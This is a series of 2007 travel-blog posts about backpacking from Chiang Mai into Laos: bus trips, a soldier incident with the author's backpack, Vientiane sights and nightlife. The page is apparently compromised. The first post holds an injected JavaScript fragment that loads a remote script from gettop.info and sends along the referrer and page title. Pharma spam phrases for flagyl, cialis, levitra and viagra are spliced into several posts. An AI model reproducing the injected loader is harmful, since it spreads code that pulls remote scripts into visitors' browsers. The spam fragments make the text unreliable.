The “Morning market”

Posted by admin On February - 28 - 2007

I met Jost again and we rent a motorcycle. I ordered my visa for cambodia at the embassy and we went to the morning market. Jost for business and i for shopping. Jost businesspartner Luck invited him and me to her birthdayparty in the evening. Was hard to find the way but they picked us up later on. Was really nice, this Laos birthday event. After leaving Jost and I went into a Laos club or better discothek. Was funny to watch the kids and the ladyboys. flagyl treat a gum infection s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

Surrounded by vomiting locals

Posted by admin On February - 27 - 2007

I left at 8:00am for going to Vientiane. The bus drive was hard. I was squeezed in with my backpack and suddenly one local in front of me and two in the back started to vomit. It was so disgusting. Nobody did anything until I was yelling to do something. I rescued my bag and put it to the other luggage. Even if I didn’t like it, the alternative was only a bag in vomit!}} buytrental online

Temple watching and a fountain in the bathroom

Posted by admin On February - 24 - 2007

Chris and I watched a couple of temple today. In the evening we went for dinner and met a funny couple with them we went later on to the last place what was opened in Luang Prabang – the bowling bar. And who did I met – Jost, a friend of Andy, we didn’t see for at least 3 years. We hang out and went later to the Mekong. When we decided to go home i offered Jost to stay with us because it was to far for him. Chris was so drunk, it was 4:00am and somehow he broke the sink from the wall. The sink was completely destroyed and we had a big fountain at the bathroom. Was really embarrassing when the lady came and had to fix it at night. Read the rest of this entry »

Xieng Khuang Buddha Park

Posted by admin On February - 22 - 2007

After feeling a little bit weak in the morning I decided having a shake and then doing a trip to the Xieng Khuang Buddha Park. First I had to find out where the park was located and how to get there. I bought a postcard with some pictures of the park and showed it to the people. That seem to help. I found out it is about 20km out of Vientiane city but I could take a public bus for 4000kip. Back home the bus leaves all 10min. So i went to the Buddha Park. It cost 5000kip entry and also another 2000kip for doing photography. It was a good idea to come in the afternoon because it was very quite at the park.

Second try to steal my backpack – only 6 hours later!!!

Posted by admin On February - 21 - 2007

In the morning I had to change the bus the Lao. I asked if there would be enough time for the visa and they say everything will be fine. At the border it took ages for doing the visa. Finally I got it but the bus was gone. And with it my backpack. I was desperate and started crying. I had to hire a taxi and luckily I got my bag back at the main bus station. I think the bus driver and taxi driver worked together just for getting more money. I stay in Joe guesthouse. In the afternoon I do a little bit sight seeing in Vientiane.

Leaving to Lao

Posted by admin On February - 20 - 2007

The bus leaves at 7:00pm. As entered the bus I noticed I was the only white, the only foreigner. Never mind I thought by myself, its just because its the second class bus. VIP buss tickets were sold out but I wanted to leave to Lao. We left Chiang Mai outside it was pitch black and every now and then I noticed a bushfire. After a while driving through the night I felt asleep. Out of a sudden the noise of the engine changed and I realized that the bus stopped. Did not know why at this time until I noticed about 20 soldiers in camouflage outfits, boots and armed with machine guns. Where were they coming from? Somehow the driver gave them a backpack. I was still quite tired and curious what will happened next. But what a shock – it was MY backpack!!! (I realized my flag applications I did for recognizing my luggage at the airport.) And those soldiers were trying violently to open it. Everything I owned on my trip was in there inclusive my Apple Powerbook laptop and of course all my photos of that trip so far. Its priceless. Suddenly the driver was starting the engine again and made himself ready to go. So I didn’t hesitate for long before jumping out of the bus into those armed soldiers. I started screaming and shouted:”Take your hands of my backpack you fucking bastards! Its MINE!!!” I took it back to the bus complaining at the bus driver. He pretended not to understand English. I felt so helpless and alone and paranoid.  At the next bus stop for fuel I forced the bus driver to give me my backpack I wanted it with me inside the bus. But surprisingly or not the driver couldn’t open the door to my bag. I was shouting and after about 30min I had my bag. I already thought its gone but I got it. cialis compare levitra viagra

Bamboo rafting and Thai boxing

Posted by admin On February - 19 - 2007

Today is the last day of trekking and three days are really enough. I´m looking forward for a shower and being clean again. And of course a warm bed. As finish for the trekking they did with us a bamboo rafting what was fun and we all got wet.
In the evening I bought a ticket for 400baht to Vientiene/Lao but only second class becuase everything was booked out. I did not know how to come to the main bus station in Chiang Mai so i asked the first best motorcycle driver I could find at the streets. He was so nice to bring me there and back and when I wanted to pay him he didn´t wnat my money. Was the first experience with frindly thai people. In the evening my people from the trekking tour and I went to a thai box fight. It was very interessting to watch because the first fights are kids, later they had some girls fighting and in the end a men fight. Read the rest of this entry »
